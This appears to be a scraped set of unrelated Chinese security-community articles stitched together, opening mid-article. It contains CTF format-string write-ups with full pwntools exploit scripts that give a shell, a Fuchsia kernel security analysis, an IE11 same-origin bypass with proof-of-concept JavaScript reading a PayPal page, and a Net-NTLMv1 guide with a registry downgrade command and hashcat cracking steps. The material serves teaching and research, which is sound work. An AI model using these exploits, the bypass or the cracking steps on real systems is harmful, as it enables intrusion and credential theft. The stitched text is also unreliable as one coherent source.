这题的思路依然是在栈中找栈链，然后将栈链中的一条链的后四位修改成第一个随机数地址的后四位，然后再修改第一个随机数的值为第二个随机数，找到如下这条链
exp如下
from pwn import *
context.log_level='debug'
io=process('./quantum_entanglement')
elf=ELF('./quantum_entanglement')
payload1='%*19$c%44$hn' #将%44位置处的栈链修改到指向第一个随机数
payload2='%*18$c%118$n' #一次性将第二个随机数写入到第一个随机数的地址
io.recvuntil('FirstName:')
io.sendline(payload1)
#gdb.attach(io)
io.recv()
io.sendline(payload2)
io.interactive()
修改栈链后栈空间如下
考察这个知识点的题目还有ciscn2020华南分赛区same和MidnightsunCTF Quals 2020 pwn4，就不多说了
再氵两道题吧，首先是一道强网杯的Siri
## 0x5.强网杯 siri
检查保护
IDA分析
再sub_1212函数中存在格式化字符串漏洞
这题和上面的题目比起来很简单了，主要是讲一下构造payload
格式化字符串在栈上，直接改返回地址或者malloc_hook为onegadget就行
首先泄露libc和stack地址
泄露这两个地方的值得到栈地址和libc地址，函数的返回地址为rbp下方的那个值，所以返回地址为泄露的栈地址-0x118
我们输入的值在这个地方
得到对应的偏移为%49
首先来试第一种方法，修改返回地址
根据格式化字符串修改内存的用法：%Xc%Y$hn(hhn)，其中X为要写入的字节数，Y为偏移量。在64位格式化字符串漏洞利用中，要写入的地址一般都是放在最后面，所以Y要根据要写入地址的偏移量来设置。而写字节一次性可以写4字节，2字节和1字节，一般选用一次写入2字节和1字节的，一次写入4字节的话要返回值太多，本地可以勉强接受，远程肯定会崩掉。
先来讲下一次性写入两字节的payload的是如何构造的。首先返回地址为6字节长，因为onegadget和返回地址的值所有字节都不相同，所以需要全部修改，-一次改2字节共需要修改3次，这样就有8*3=0x18字节的长度，三个返回地址一次放在payload的最后面。printf函数除了用户输入的数据还会在前面输出`>>>
OK, I'll remind you to` ，长度为27，所以在构造pyload的过程中需要减27，还有用户输入的数据是和`Remind me to`
拼接在一起的，长度为13，最后payload对齐的时候需要-13再对齐。payload构造如下：
write_size=0
offset=55 #offset根据payload对齐的字节来决定
payload=''
for i in range(3):#一共三次，每次修改两字节
num=(onegadget>>(16*i))&0xffff#每次将onegadget右移两字节
num-=27#>>> OK, I'll remind you to 的长度为27
if num>write_size&0xffff:#如果这一次要写入的字节数大于已经写入的字节数，只需要写入num和write_size之差的字节数即可，因为
payload+='%{}c%{}$hn'.format(num-(write_size&0xffff),offset+i)#前面已经写入了write_size个字节，再加上差值就能
write_size+=num-(write_size&0xffff) #写入num个字节了
else:#如果本次要写入的字节数小于已经写入的字节数，那么我们是不能直接写入num个字节的，可以理解为溢出了，比如已经写入了0xffff个字节，而本次要写入0xeeee个字节，”超额“写入了，这个时候就需要写入负数，四字节的最大值为0xffff，可以理解为0x10000为0，0-0xffff得到一个负数-0xffff，然后再加上0xeeee得到差值-0x1111。
payload+='%{}c%{}$hn'.format((0x10000-(write_size&0xffff))+num,offset+i)
write_size+=0x10000-(write_size&0xffff)+num
payload=payload.ljust(0x38-13,'a')#八字节对齐
for i in range(3):
payload+=p64(rip+i*2)#将存储着返回地址的栈地址放到payload的最末尾，每次加2
生成好的payload在printf栈中
printf函数执行后
返回地址已经被修改
再来看看一次修改一字节的payload生成，实际上就是把0x10000改成0x100，$hn改成$hhn，payload对齐字节要更多以及偏移量要变化
write_size=0
offset=60
payload=''
for i in range(6):
num=(onegadget>>(8*i))&0xff
num-=27
if num>write_size&0xff:
payload+='%{}c%{}$hhn'.format(num-(write_size&0xff),offset+i)
write_size+=num-(write_size&0xff)
else:
payload+='%{}c%{}$hhn'.format((0x100-(write_size&0xff))+num,offset+i)
write_size+=(0x100-(write_size&0xff))+num
payload=payload.ljust(0x60-13,'a')
for i in range(6):
payload+=p64(rip+i)
此时的payload在栈空间中
修改完后
改malloc_hook和改返回地址是一样的，只需要把最后的地址换成malloc_hook的地址就行
还有一种方法就是修改main函数的返回地址
但因为main函数在while死循环里，所以我们还需要使main函数跳出循环
在IDA的graph view界面里我们可以看到代码块都走向了同一处
然后又会回到main函数开头，所以我们需要利用格式化字符串修改程序不跳转到这里，而是直接结束main函数
在执行完格式化字符串所在的函数后，执行的下一条指令如下
在栈中是返回地址
我们将返回地址的最后两位修改为leave ret的后两位，使其跳转到leave ret
所以一共分两步，第一步修改main函数返回地址为onegadget，第二步修改printf函数返回地址为leave ret
for i in range(6):
num=(onegadget>>(8*i))&0xff
num-=27
if num>write_size&0xff:
payload+='%{0}c%{1}$hhn'.format(num-(write_size&0xff),offset+i)
write_size+=num-(write_size&0xff)
else:
payload+='%{0}c%{1}$hhn'.format((0x100-(write_size&0xff))+num,offset+i)
write_size+=(0x100-(write_size&0xff))+num
payload=payload.ljust(0x60-13,'a')
for i in range(6):
payload+=p64(main_ret+i)
siri(payload)
siri('aaaa')
payload='%'+str(0xc1-27)+'c%61$hhn'
payload=payload.ljust(0x5f-13,'a')
payload+=p64(rip)
siri(payload)
第一次printf后main函数返回地址已经修改为了onegadget
第二次printf后pintf函数返回地址被修改成功
直接返回执行onegadget
## 0x6.SWPUCTF_2019_login
检查保护
got表可改
IDA分析
存在格式化字符串漏洞，不过格式化字符串在bss段上，最多能输入0x32个字节
因为输入wllmmllw能够退出程序，所以考虑修改main函数的返回地址为onegadget
通过%6$p和%15$p泄露栈地址和libc地址
然后修改005c处的栈链指向main函数的返回地址，也就是0050处
修改之前
修改之后
然后就可以修改mian函数的返回地址了，onegadget和返回地址有三个字节不同，所以需要先修改两字节，然后再将栈链+2，继续修改剩下的一字节
exp如下：
from pwn import *
context.log_level = 'debug'
io = process("./SWPUCTF_2019_login")
libc=ELF('./libc-2.27_x86.so')
io.sendlineafter("name: ", 'a')
payload = '%6$p-%15$p'
io.sendlineafter("password: ", payload)
io.recvuntil("0x")
ret_addr = int(io.recv(8), 16)+36
io.recvuntil("0x")
libc_base = int(io.recv(8), 16)-libc.symbols['__libc_start_main']-241
onegadget=libc_base+0x3d0e0
log.success('ret_addr => {}'.format(hex(ret_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('onegadget => {}'.format(hex(onegadget)))
payload='%'+str(ret_addr&0xffff)+'c%22$hn'
#gdb.attach(io)
io.sendlineafter("Try again!\n", payload)
payload='%'+str(onegadget&0xffff)+'c%59$hn'
io.sendlineafter("Try again!\n", payload)
payload='%'+str((ret_addr+2)&0xff)+'c%22$hhn'
io.sendlineafter("Try again!\n", payload)
payload='%'+str((onegadget>>16)&0xffff)+'c%59$hhn'
io.sendlineafter("Try again!\n", payload)
io.sendlineafter("Try again!\n", 'wllmmllw')
io.interactive()
'''
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67a7f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67a80 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137e5e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137e5f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
'''
## 0x7.总结
总的来说，栈上的格式化字符串漏洞，可以直接写地址修改，缓冲区长度够的话就一次写一字节，长度不够就一次两字节写；bss段的格式化字符串，需要在栈中找栈链，栈0->栈1->栈2->值，然后修改栈2指向printf函数的返回地址或者main函数的地址，然后就可以修改返回地址为onegadget了；还有堆中的格式化字符串，实际上和bss段的没有区别，也是改栈链；如果程序只有有限次printf机会，如果有fini_array的真实地址，就可以修改fini_array中的值为mian函数的地址，以此来重复利用；标准输出流stdout被关闭了依然可以写数据，只不过没有回显了，想要重新输出的话可以将stdout结构体的fileno成员设置为2或者0，也可以通过修改stderr的值为onegadget来getshell。 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/TEUo6G1lWeCRujf6uH8hrQ>**
### **1 简介**
Fuchsia是google开发的全新微内核操作系统，用来替换android。本文根据fuchsia最新的官方代码，来分析它所提供的一些安全功能。
### **2 安全功能**
#### **2.1 kaslr**
现在的内核地址随机化不止包含内核代码段地址随机化， 还包括了内核自身页表、内核的堆等等。
##### **2.1.1 内核代码段地址随机化**
zircon内核并没有支持内核地址随机化， 以aarch64为例：
zircon/kernel/arch/arm64/start.S:
adr_global tmp, kernel_relocated_base
ldr kernel_vaddr, [tmp]
Kernel_relocated_base符号保存着内核实际的加载地址，定义在：
zircon/kernel/arch/arm64/mmu.cc：
\#if DISABLE_KASLR
uint64_t kernel_relocated_base = KERNEL_BASE;
\#else
uint64_t kernel_relocated_base = 0xffffffff10000000;
\#endif
可以看到，当前是一个固定的值，注释也强调了未来会使用随机化。
// Static relocated base to prepare for KASLR. Used at early boot and by gdb
// script to know the target relocated address.
// TODO(fxbug.dev/24762): Choose it randomly.
X86架构同样没有实现：
zircon/kernel/arch/x86/mmu.cc
// Static relocated base to prepare for KASLR. Used at early boot and by gdb
// script to know the target relocated address.
// TODO(thgarnie): Move to a dynamically generated base address
\#if DISABLE_KASLR
uint64_t kernel_relocated_base = KERNEL_BASE - KERNEL_LOAD_OFFSET;
\#else
uint64_t kernel_relocated_base = 0xffffffff00000000;
\#endif
##### **2.1.2 内核页表地址随机化**
在商用os系统里了，windows nt内核首先将内核页表做了地址随机化处理，linux和xnu都没有实现。
zircon内核也同样没有实现。
zircon/kernel/arch/arm64/mmu.cc
// The main translation table for the kernel. Globally declared because it's reached
// from assembly.
pte_t arm64_kernel_translation_table[MMU_KERNEL_PAGE_TABLE_ETRIES_TOP] __ALIGNED(
MMU_KERNEL_PAGE_TABLE_ENTRIES_TOP * 8);
#### **2.2 aslr**
Fuchsia的stack、代码段（包含pie）等等都是通过zx_vmar_map函数来建立的，这是一个系统调用，
fuchsia的系统调用似乎是自动生成的，笔者对这块的逻辑尚未熟悉，不过在docs文档里有说明是随机化产生的地址。
**docs/reference/syscalls/vmar_map.md：**
*vmar_offset* must be 0 if *options* does not have **ZX_VM_SPECIFIC** or
**ZX_VM_SPECIFIC_OVERWRITE** set. If neither of those are set, then
the mapping will be assigned an offset at random by the kernel (with an
allocator determined by policy set on the target VMAR).
#### **2.3 code sign**
fuchsia系统没有提供app证书签名和代码完整性校验的功能。
#### **2.4 系统调用过滤**
fuchsia系统没有提供系统调用审计和过滤的功能。
zircon/kernel/arch/arm64/exceptions.S：
LOCAL_FUNCTION_LABEL(arm64_syscall_dispatcher)
start_isr_func_cfi
cmp x16, #ZX_SYS_COUNT
bhs .Lunknown_syscall
csel x16, xzr, x16, hs
csdb
adr x12, .Lsyscall_table
add x12, x12, x16, lsl #4
br x12
SPECULATION_POSTFENCE
在判断系统调用号是否超出范围之后， 直接调用了syscall_table对应的函数指针。
没有像linux提供了audit系统调用审计和secomp系统调用过滤的功能。
X86架构同样如此：
zircon/kernel/arch/x86/syscall.S：
.balign 16
FUNCTION_LABEL(x86_syscall)
// swap to the kernel GS register
swapgs
// save the user stack pointer
mov %rsp, %gs:PERCPU_SAVED_USER_SP_OFFSET
// load the kernel stack pointer
mov %gs:PERCPU_KERNEL_SP_OFFSET, %rsp
.cfi_def_cfa %rsp, 0
push_value %gs:PERCPU_SAVED_USER_SP_OFFSET // User stack
push_value %r11 // RFLAGS
push_value %rcx // RIP
push_value %r15
push_value %r14
push_value %r13
push_value %r12
push_value $0 // R11 was trashed by the syscall instruction.
push_value %r10
push_value %r9
push_value %r8
push_value %rbp
push_value %rdi
push_value %rsi
push_value %rdx
push_value $0 // RCX was trashed by the syscall instruction.
push_value %rbx
push_value %rax
cmp $ZX_SYS_COUNT, %rax
jae .Lunknown_syscall
leaq .Lcall_wrapper_table(%rip), %r11
movq (%r11,%rax,8), %r11
lfence
jmp *%r11
#### **2.5 NULL Page Protection**
fuchsia在提供的mmap接口中，没有禁止映射内存0的限制，而这个功能在linux和NT内核中都做了限制。
zircon/third_party/ulib/musl/src/mman/mmap.c
mmap的主体函数中没有对addr地址做限制。
#### **2.6 mmap/mprotect w^x保护**
同上， mmap/mprtect接口中没有对可写、可执行权限做限制， linux、xnu、nt都实现了此保护功能。
#### **2.7 printf %K内核地址保护**
Printf未实现%K内核地址保护功能，利用%p可能将内核地址泄露出来。
zircon/third_party/ulib/musl/src/stdio/vfprintf.c
#### **2.8 Ref counter保护**
Fuchsia未实现类似linux的引用计数溢出保护。
zircon/kernel/lib/counters/counters.cc
#### **2.9 kernel/module rwx保护**
zircon内核在启动之出对内核代码段的属性设置为rwx，在后续的vm_init中，将内核的代码和数据属性进行了正确设置：
zircon/kernel/vm/vm.cc：
namespace {
const ktl::array _kernel_regions = {
kernel_region{
.name = "kernel_code",
.base = (vaddr_t)__code_start,
.size = ROUNDUP((uintptr_t)__code_end - (uintptr_t)__code_start, PAGE_SIZE),
.arch_mmu_flags = ARCH_MMU_FLAG_PERM_READ | ARCH_MMU_FLAG_PERM_EXECUTE,
},
kernel_region{
.name = "kernel_rodata",
.base = (vaddr_t)__rodata_start,
.size = ROUNDUP((uintptr_t)__rodata_end - (uintptr_t)__rodata_start, PAGE_SIZE),
.arch_mmu_flags = ARCH_MMU_FLAG_PERM_READ,
},
kernel_region{
.name = "kernel_data",
.base = (vaddr_t)__data_start,
.size = ROUNDUP((uintptr_t)__data_end - (uintptr_t)__data_start, PAGE_SIZE),
.arch_mmu_flags = ARCH_MMU_FLAG_PERM_READ | ARCH_MMU_FLAG_PERM_WRITE,
},
kernel_region{
.name = "kernel_bss",
.base = (vaddr_t)__bss_start,
.size = ROUNDUP((uintptr_t)_end - (uintptr_t)__bss_start, PAGE_SIZE),
.arch_mmu_flags = ARCH_MMU_FLAG_PERM_READ | ARCH_MMU_FLAG_PERM_WRITE,
},
};
}
#### **2.10 kernel stack canary**
fuchsia使用clang编译器，默认开启了fstack-protector参数。
在启动阶段设置thread pointer地址时就开始引入了一个随机化的stack canary值。
zircon/kernel/arch/arm64/start.S
bl choose_stack_guard
zircon/kernel/top/debug.cc
__NO_SAFESTACK uintptr_t choose_stack_guard(void) {
uintptr_t guard;
if (hw_rng_get_entropy(&guard, sizeof(guard)) != sizeof(guard)) {
// We can't get a random value, so use a randomish value.
guard = 0xdeadbeef00ff00ffUL ^ (uintptr_t)&guard;
}
return guard;
}
以后每个线程在创建的时候，都会使用上述初始化选定的canary值。
zircon/kernel/arch/arm64/thread.cc
void arch_thread_initialize(Thread* t, vaddr_t entry_point) {
// compiler ABI (TPIDR_EL1 + ZX_TLS_STACK_GUARD_OFFSET).
t->arch().stack_guard = Thread::Current::Get()->arch().stack_guard;
// set the stack pointer
t->arch().sp = (vaddr_t)frame;
\#if __has_feature(safe_stack)
DEBUG_ASSERT(IS_ALIGNED(t->stack_.unsafe_top(), 16));
t->arch().unsafe_sp = t->stack_.unsafe_top();
\#endif
\#if __has_feature(shadow_call_stack)
// The shadow call stack grows up.
t->arch().shadow_call_sp = reinterpret_cast<uintptr_t*>(t->stack().shadow_call_base());
\#endif
}
所以每个线程使用的canary值都是同一个， 较linux每个线程使用不同的值有所弱化。
#### **2.11 shadow stack**
fuchsia使用的是clang编译器，默认使用了-fsanitize=shadow-call-stack，llvm的官方文档指出仅在aarch64上实现了shadow stack的功能，x86_64上因为一些安全原因将这个功能移除主线代码了。
Aarch64上，fuchsia的abi约定x18寄存器保存的是shadow
stack的地址，由于笔者尚未编译完zircon内核二进制，以下示例来自llvm官方文档。
int foo() {
return bar() + 1;
}
不开启shadow stack:
stp x29, x30, [sp, #-16]!
mov x29, sp
bl bar
add w0, w0, #1
ldp x29, x30, [sp], #16
Ret
开启后：
str x30, [x18], #8
stp x29, x30, [sp, #-16]!
mov x29, sp
bl bar
add w0, w0, #1
ldp x29, x30, [sp], #16
ldr x30, [x18, #-8]!
ret
#### **2.12 safe stack**
Safe stack与shadow stack功能非常相近，使用-fsanitize=safe-stack参数编译。Shadow
stack仅仅保存函数的返回地址，而safe stack除了保存返回地址外，一些寄存器值和局部变量的值也会保存。
在shadow stack中， sp保存的是shadow stack的地址，x18寄存器保存的是正常stack的地址。而在safe
stack中，sp保存的是safe stack的地址，而unsafe stack的地址是保存在fs或gs寄存器的某个固定偏移中。
X86_64: %gs:ZX_TLS_UNSAFE_SP_OFFSET
Aarch64: __builtin_thread_pointer()或者TPIDR_EL0/1
* * * | 社区文章 |
原文链接：[Broken Browser](https://www.brokenbrowser.com/uxss-ie-htmlfile/)
原作者：[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
今天我们探索的是从 Internet Explorer 出生以来一直存在的功能。该特性允许 Web
开发者实例化外部对象，因此被攻击者滥用。你能猜到我们在说的是什么特性吗？那就是
[ActiveXObject](https://msdn.microsoft.com/en-us/library/7sw4ddf8\(v=vs.94\).aspx) 了。
即使现在它受到了诸多限制，我们已经不能再愉快地展示 Excel 电子表格，但它依然有很多玩法。我们将构建一个靠谱的 UXSS/SOP（同源策略）
绕过，它将允许我们访问任何域下的东西，当然包括 cookie 和你可以想象到的东西。
然而， bug hunter，不要以为 ActiveXObject 就是另一个 UXSS
而已，他对攻击者来说是一个完美的元素，因为它有着无数的漏洞，我们将在本篇下面提到。我真心建议你研究探索这个对象，你会意外地发现很多新的东西。
## 各种渲染 HTML 的容器
在浏览器中渲染 HTML 有好几种方法，我首先想到的就是 IFRAME 标签，而我们用 OBJECT 甚至 EMBED 标签可以做同样的事情。
其实，有一些对象允许我们在逻辑上渲染
HTML，但其并不可见。比如：[implementation.createDocument](https://developer.mozilla.org/en-US/docs/Web/API/DOMImplementation/createDocument)，[implementation.createHTMLDocument](https://developer.mozilla.org/en-US/docs/Web/API/DOMImplementation/createHTMLDocument) 甚至
[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType) 都能返回 document 对象而不是 text/xml。
这些 HTML 文档与 iframes/windows
中的文档有很多相似之处，但是并不包括所有内容。例如，其中一些不能执行脚本，其他的没有任何关联窗口，所以他们缺少了像 window.open
这种方法。换句话说，这些文档都有它们的限制。
但 Internet Explorer 还有几种渲染 HTML，我最喜欢的便是借助 ActiveXObject 实例化一个
"htmlFile"。这种类型的文档也有其限制，但至少能运行脚本了。请看下面的脚本。
doc = new ActiveXObject("htmlFile");
这个 **ActiveXObject** 创建了像 [WebBrowser control ](https://msdn.microsoft.com/en-us/library/aa752041\(v=vs.85\).aspx) 这样的东西（基本类似于 iframe），==并返回对其 document
对象的引用==。要想访问 window 对象，我们要使用之前的 parentWindow 或者 Script，因为此处不支持 defaultView 。
win = doc.defaultView; // Not supported.
win = doc.Script; // Returns the window object of doc.
win = doc.parentWindow; // Returns the window object of doc.
我是 “Script” 的粉丝，因此我用了这个方法。顺便说一句，我很好奇这个 ActiveXObject 的 location 是什么。
这很有趣！对我来说，下一个问题就是：此文档的 window 对象是不是和我们正在处理的是同一个对象？我的意思是，它有一个真正的 window
还是说与其父元素/创建者共享。
// Remember:
// win is the window object of the ActiveXObject.
// window is the window object of the main window.
alert(win == window); // false
由此我们得出结论，ActiveXObject 的 window 是不同于主窗口的，这意味着它有自己的 window。我想知道现在谁是它的顶部(top)。难道
ActiveXObject 认为它在顶部？
哇！ **win** 认为它属于顶部（top），我不禁浮想联翩。它或许存在 [XFO](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) 绕过漏洞，或者允许不安全的请求（SSL 顶层无需
SSL）。写下这些想法！至少这是我的习惯：有趣的东西浮现于脑海，我会马上注意到，所以我可以持续关注原始目标，而不让这些想法消逝于大脑的灰质海洋。
好吧，我感到好奇的另一件事是这个文档的域。那么，它到底是什么？
alert(doc.domain); // The same domain as the top page
它返回了与主窗口相同的域，这没什么大不了的，但值得更多的测试。思绪在脑海中流动。
## 恢复 document.domain 的 top 属性
关于这一点，我的问题首先是：如果我们改变主页的 base href，然后实例化这个 ActiveX，会发生什么？它会具有与页面相同的域还是来自 base
href 域？
这个想法无法实现，但是在创建对象时，不要低估了 base href，因为它曾经产生过奇效，而且将来可能会用到。看看我最近是怎么实现 SOP 绕过的。
总之，我试了另一种选择：在不同域中的 iframe 创建 ActiveXObject。就是说，相同的代码，现在可以从不同域的 iframe 中执行。
<!-- Main page in https://www.cracking.com.ar renders the iframe below -->
<iframe src="https://www.brokenbrowser.com/demos/sop-ax-htmlfile/retrievetopdomain.html"></iframe>
<!-- iFrame code on a different domain -->
<script>
doc = new ActiveXObject("htmlFile");
alert(doc.domain); // Bang! Same as top!!
</script>
我很惊讶，ActiveXObject 使用顶部（top）的域而不是 iframe 创建的。Bingo！
### [[ IE11 Proof of Concept ]](https://www.cracking.com.ar/demos/sop-ax-htmlfile/getdomain.html)
当然，取回主页域不是完全的 SOP 绕过，但它是一铁证，说明我们正处理一个“感到困惑的”浏览器。问题推进至深，直到 IE 放弃。用一点
JavaScript，带着激情与坚持，我们会做到的。
## 传递引用至顶部
我们现在的目标是与 ActiveXObject 共享顶层窗口的引用，以查看它是否有权访问。如果它的 document.domain
与顶部相同，它应该能够访问！但此处还有一个挑战：从浏览器的角度来看，这个 ActiveXObject
没有完全初始化。这意味着我们不能创建变量，也不能更改任何成员的值。好像一个 [frozen
object](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)，你不能向其中删除/改变任何东西。
oc = new ActiveXObject("htmlFile");
win = doc.Script;
win.myTop = top; // Browser not initialized, variable is not set
win.execScript("alert(win.myTop)"); // undefined
在常规窗口中它理应有效，而使用 ActiveXObject 则不然，除非我们使用 document.open 初始化。问题是，如果我们初始化该对象，IE
会把它的域设置正确，无视我们的小把戏。那就来看看这个吧，弄清我的意思。
doc = new ActiveXObject("htmlFile");
alert(doc.domain); // alerts the top domain (SOP bypass)
doc.open(); // Initialize the document
alert(doc.domain); // alerts the iFrame domain (No more SOP bypass)
那么我们如何将顶层的窗口对象传递给 ActiveXObject 呢？仔细思考。每个 window
对象都有一个非常特别的地方，即它在其他任何地方都是可写的。它是什么呢？opener！是的，window.opener ，我的朋友，来试试吧！
doc = new ActiveXObject("htmlFile");
win = doc.Script;
win.opener = top;
win.execScript("alert(opener.document.URL)"); // Full SOP bypass
### [[ IE11 Proof of Concept ]](https://www.cracking.com.ar/demos/sop-ax-htmlfile/accesstop.html)
Yes！使用 opener 的技巧行之有效。现在，无论我们的域怎样，我们都可以访问到顶部的文档。我们的 iframe 可能在另一个 iframe
中，或者像[俄罗斯套娃](https://en.wikipedia.org/wiki/Matryoshka_doll)一样无限嵌套与不同的域中，但它仍然能访问顶部（top）。这就是力量啊！
那么，我们得到了一个有效的 UXSS，但仍然存在一个问题：它需要加载到 iframe 内，我认为没有目标站点会如此慷慨，会在他们的 iframe
中渲染我们的小把戏，对吧？但想到当今展示的横幅广告：我们在 iframe 中渲染，并且它们可以访问顶部元素！这意味着 Facebook
广告，Yahoo！广告和任何在 iframe 中运行的不受信任的内容都可以访问主页面。如果我们在使用
Facebook，广告可以代表我们发布内容，访问我们的联系人和 cookie 而没有限制。
我们应该更进一步，找到一种不借助外界的方法获得网站的 cookie。我们要怎样使之在任意非合作站点生效呢？我们可以在没有 iframe
的网站中实现吗。许多解决方案出现在我的脑海，而最简单的是： **[重定向] + [线程块] + [注入]** 。这种技术超容易，但它值得小小的解释一下。
## 任意内容注入
有一种在 **目标网站有机会加载之前** ，对任意窗口/iframe 注入 HTML/Script
的方法，而无视其域。例如，假设我们打开一个带有服务器重定向至 PayPal 的新窗口。在重定向发生之前，我们仍可以访问该窗口，但一旦重定向加载了新的 URL
，我们就无法访问了，对吗？实际上，当重定向发生时，IE 渲染新内容之前销毁了 window 的每一个元素。
但是，如果我们在页面中注入一个元素，在重定向之前会发生什么？更多的，在注入之后，我们阻止线程，而不给 IE
以机会销毁对象，但是让重定向发生，会发生什么？新的网页将保留旧的（注入的）内容，因为 IE 无法删除它。
在这种情况下，我们使用 alert 作为线程拦截器，当然还有其他方法来实现同样的效果。让我们回顾一下在写代码之前需要做的事：
1. 打开一个重定向到 PayPal 的新窗口。
2. 重定向发生前，注入一个 iframe。
3. 重定向发生后，从 iframe 之中创建 ActiveXObject。
4. Bang！仅此而已。现在的 ActiveXObject 已经具有与主窗口相同的域。
这里是有效的代码：
w = window.open("redir.php?URL=https://www.paypal.com");
// Create and inject an iframe in the target window
ifr = w.document.createElement('iframe');
w.document.appendChild(ifr);
// Initialize the iframe
w[0].document.open();
w[0].document.close();
// Pass a reference to the top window
// So the iframe can access even after the redirect.
w[0]._top = w;
// Finally, once Paypal is loaded (or loading, same thing) we create the
// ActiveXObject within the injected iframe.
w[0].setTimeout('alert("[ Thread Blocked to prevent iFrame destruction ]\\n\\nClose this alert once the address bar changes to the target site.");' +
'doc = new ActiveXObject("htmlFile");' +
'doc.Script.opener = _top;' +
'doc.Script.setTimeout("opener.location = \'javascript:alert(document.all[0].outerHTML)\'");');
### [[ IE11 Proof of Concept ]](https://www.cracking.com.ar/demos/sop-ax-htmlfile/injectiframexdom.html)
bug hunter，不要在此停顿。继续探索 ActiveXObject，因为它充满了等待你你发掘的对象。而且你可以把这个 PoC
变得更干净，用更少的代码吗？你可以不使用 alert 建立一个线程阻塞吗？祝你好运！
我说了好运？哦不，抱歉。我的意思是：继续下去，直到你找到
bug。如果这对你来说意味着运气，那么祝你好运！但对我来说，这意味着激情和坚持。而唯一需要的就是找到安全漏洞。
* * * | 社区文章 |
# Windows下的密码hash——Net-NTLMv1介绍
## 0x00 前言
* * *
在之前的文章[《Windows下的密码hash——NTLM hash和Net-NTLM
hash介绍》](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/)分别对NTLM hash和Net-NTLMv2
hash做了介绍，对于Net-NTLMv2的上一个版本Net-NTLMv1，在安全性上相对来说更脆弱，具体脆弱在哪里呢？本文将要进行介绍
## 0x01 简介
* * *
本文将要介绍以下内容：
* Net-NTLMv1的加密方法
* Net-NTLMv1的破解思路
* Net-NTLMv1的利用思路
## 0x02 Net-NTLMv1的加密方法
* * *
对比Net-NTLMv2，Net-NTLMv2的加密流程如下：
1. 客户端向服务器发送一个请求
2. 服务器接收到请求后，生成一个16位的Challenge，发送回客户端
3. 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器
4. 服务器校验response
Net-NTLMv1的加密流程如下：
1. 客户端向服务器发送一个请求
2. 服务器接收到请求后，生成一个8位的Challenge，发送回客户端
3. 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器
4. 服务器校验response
两者的流程相同，但加密算法不同，Net-NTLMv1相对脆弱
Net-NTLMv1 response的计算方法比较简单，方法如下(目前LM hash很少接触，不考虑)：
将用户的NTLM hash分成三组，每组7比特(长度不够末尾填0)，作为3DES加密算法的三组密钥，加密Server发来的Challenge
详情可参考：
<http://davenport.sourceforge.net/ntlm.html#theNtlmResponse>
## 0x03 Net-NTLMv1的破解思路
* * *
### 1、捕获Net-NTLMv1数据包，提取关键数据，使用hashcat进行字典破解
服务器：
* 系统： Server2008 x64
* IP： 192.168.62.144
* 登录用户名： log1
* 登录密码： logtest123!
客户端：
* 系统： Win7 x64
* IP： 192.168.62.137
修改注册表开启Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f
**注：**
自Windows Vista/Server2008开始，系统默认禁用Net-NTLMv1，使用Net-NTLMv2
仅修改客户端即可，服务器不用修改
客户端通过命令行远程连接服务器，命令如下：
net use \\192.168.62.144 /u:log1 logtest123!
**注：**
通过界面访问`\\192.168.62.144`的文件共享，会多一步验证操作，使用当前用户的口令进行验证
客户端运行Wireshark，捕获数据包，如下图
前四个数据包对应NTLM认证的四个步骤
查看第二个数据包，获得Challenge，为`8d2da0f5e21e20ee`，如下图
查看第三个数据包，获得LM
Response数据为`fec9b082080e34ba00000000000000000000000000000000`，获得NTLM
Response数据为`51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04`，username为`a`，hostname为`WIN-BH7SVRRDGVA`，如下图
这里做一个对比，如果是Net-NTLMv2，Response数据多一项NTLMv2 Response，如下图
下面，使用Hashcat对该Net-NTLM v1进行破解
NTLMv1的格式为：
`username::hostname:LM response:NTLM response:challenge`
构造后的数据如下：
`log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee`
Hashcat参数如下：
hashcat -m 5500 log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee /tmp/password.list -o found.txt --force
说明：
-m： hash-type，5500对应NetNTLMv1，详细参数可查表：<https://hashcat.net/wiki/doku.php?>
-o： 输出文件，字典文件为/tmp/password.list
–force代表强制执行，测试系统不支持Intel OpenCL
成功破解出登录的明文密码，输出如下图
### 2、使用Responder等中间人攻击工具，控制Challenge为固定值`1122334455667788`
可借助彩虹表还原出口令的NTLM hash
例如获得了如下NetNTLMv1 hash:
`a::WIN-BH7SVRRDGVA:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a:1122334455667788`
LM hash为`aebc606d66e80ea649198ed339bda8cd7872c227d6baf33a`
访问网站<https://crack.sh/get-cracking/，使用免费的彩虹表进行破解>
